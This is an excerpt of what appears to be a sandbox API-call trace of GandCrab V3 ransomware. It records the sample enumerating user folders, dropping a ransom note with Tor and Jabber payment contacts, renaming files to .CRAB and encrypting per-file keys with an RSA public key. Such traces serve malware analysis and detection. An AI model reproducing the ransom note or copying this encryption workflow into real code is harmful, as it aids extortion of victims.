	[0124.111] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.115] WriteFile (in: hFile=0x3ec, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.115] WriteFile (in: hFile=0x3ec, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314c9b4*=0x100, lpOverlapped=0x0) returned 1
	[0124.115] WriteFile (in: hFile=0x3ec, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314c9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314c9b4*=0x8, lpOverlapped=0x0) returned 1
	[0124.115] CloseHandle (hObject=0x3ec) returned 1
	[0124.115] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.116] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.116] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.116] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.117] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.117] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.117] FindNextFileW (in: hFindFile=0xd805a0, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0124.117] lstrcmpW (lpString1="Skype", lpString2=".") returned 1
	[0124.117] lstrcmpW (lpString1="Skype", lpString2="..") returned 1
	[0124.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\", lpString2="Skype" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype"
	[0124.117] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\"
	[0124.117] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.118] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314bf68, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.118] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.118] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b750, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.118] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.118] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.118] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.119] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\\\CRAB-DECRYPT.txt") returned 61
	[0124.119] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ec
	[0124.120] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.120] WriteFile (in: hFile=0x3ec, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314bf4c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314bf4c*=0xcce, lpOverlapped=0x0) returned 1
	[0124.121] CloseHandle (hObject=0x3ec) returned 1
	[0124.121] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.121] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\") returned 44
	[0124.121] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\*"
	[0124.121] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0x31667e0
	[0124.122] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.122] FindNextFileW (in: hFindFile=0x31667e0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.122] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.122] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.122] FindNextFileW (in: hFindFile=0x31667e0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.122] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.122] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.122] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt"
	[0124.122] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.122] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt") returned 60
	[0124.122] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt") returned 60
	[0124.122] lstrlenW (lpString=".txt") returned 4
	[0124.122] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.123] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.123] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt") returned 60
	[0124.123] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\CRAB-DECRYPT.txt") returned 60
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.123] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.123] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.124] FindNextFileW (in: hFindFile=0x31667e0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0124.124] lstrcmpW (lpString1="RootTools", lpString2=".") returned 1
	[0124.124] lstrcmpW (lpString1="RootTools", lpString2="..") returned 1
	[0124.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\", lpString2="RootTools" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools"
	[0124.124] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\"
	[0124.124] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0124.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0124.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0124.124] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0124.124] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.125] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314b4c0, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0124.125] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0124.125] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0124.125] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aca8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0124.125] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0124.125] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0124.125] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.125] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\\\CRAB-DECRYPT.txt") returned 71
	[0124.125] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0124.130] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0124.130] WriteFile (in: hFile=0x3f0, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314b4a4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314b4a4*=0xcce, lpOverlapped=0x0) returned 1
	[0124.131] CloseHandle (hObject=0x3f0) returned 1
	[0124.131] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.131] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\") returned 54
	[0124.131] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\*"
	[0124.131] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\*", lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0x3166320
	[0124.132] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0124.132] FindNextFileW (in: hFindFile=0x3166320, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.132] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0124.132] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0124.132] FindNextFileW (in: hFindFile=0x3166320, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.132] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0124.132] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0124.132] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt"
	[0124.132] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.132] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt") returned 70
	[0124.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt") returned 70
	[0124.133] lstrlenW (lpString=".txt") returned 4
	[0124.133] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.133] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0124.133] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt") returned 70
	[0124.133] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\CRAB-DECRYPT.txt") returned 70
	[0124.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0124.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0124.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0124.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0124.133] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0124.134] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0124.134] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0124.134] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0124.134] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0124.134] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.134] FindNextFileW (in: hFindFile=0x3166320, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0124.134] lstrcmpW (lpString1="roottools.conf", lpString2=".") returned 1
	[0124.134] lstrcmpW (lpString1="roottools.conf", lpString2="..") returned 1
	[0124.134] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\", lpString2="roottools.conf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf"
	[0124.134] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0124.134] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned 68
	[0124.134] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned 68
	[0124.134] lstrlenW (lpString=".conf") returned 5
	[0124.135] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.135] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".conf ") returned 6
	[0124.135] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.135] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned 68
	[0124.135] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf") returned 68
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="desktop.ini") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="autorun.inf") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="ntuser.dat") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="iconcache.db") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="bootsect.bak") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="boot.ini") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="ntuser.dat.log") returned 1
	[0124.135] lstrcmpiW (lpString1="roottools.conf", lpString2="thumbs.db") returned -1
	[0124.136] lstrcmpiW (lpString1="roottools.conf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0124.136] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0124.136] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB") returned 73
	[0124.136] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf")) returned 0x20
	[0124.136] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf", dwFileAttributes=0x20) returned 1
	[0124.137] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\skype\\roottools\\roottools.conf.crab")) returned 1
	[0124.137] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0124.138] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB"
	[0124.138] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Skype\\RootTools\\roottools.conf.CRAB.CRAB"
	[0124.138] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e738) returned 1
	[0124.138] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.139] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.139] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.139] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0124.139] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0124.139] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.139] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0124.140] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0124.140] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0124.140] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0124.140] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0124.140] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0124.140] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0124.141] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0124.141] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0124.141] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0124.142] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x31660e0) returned 1
	[0124.142] CryptGetKeyParam (in: hKey=0x31660e0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0124.142] CryptEncrypt (in: hKey=0x31660e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0124.142] GetLastError () returned 0x0
	[0124.142] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0124.142] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6eb78) returned 1
	[0124.143] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x3166120) returned 1
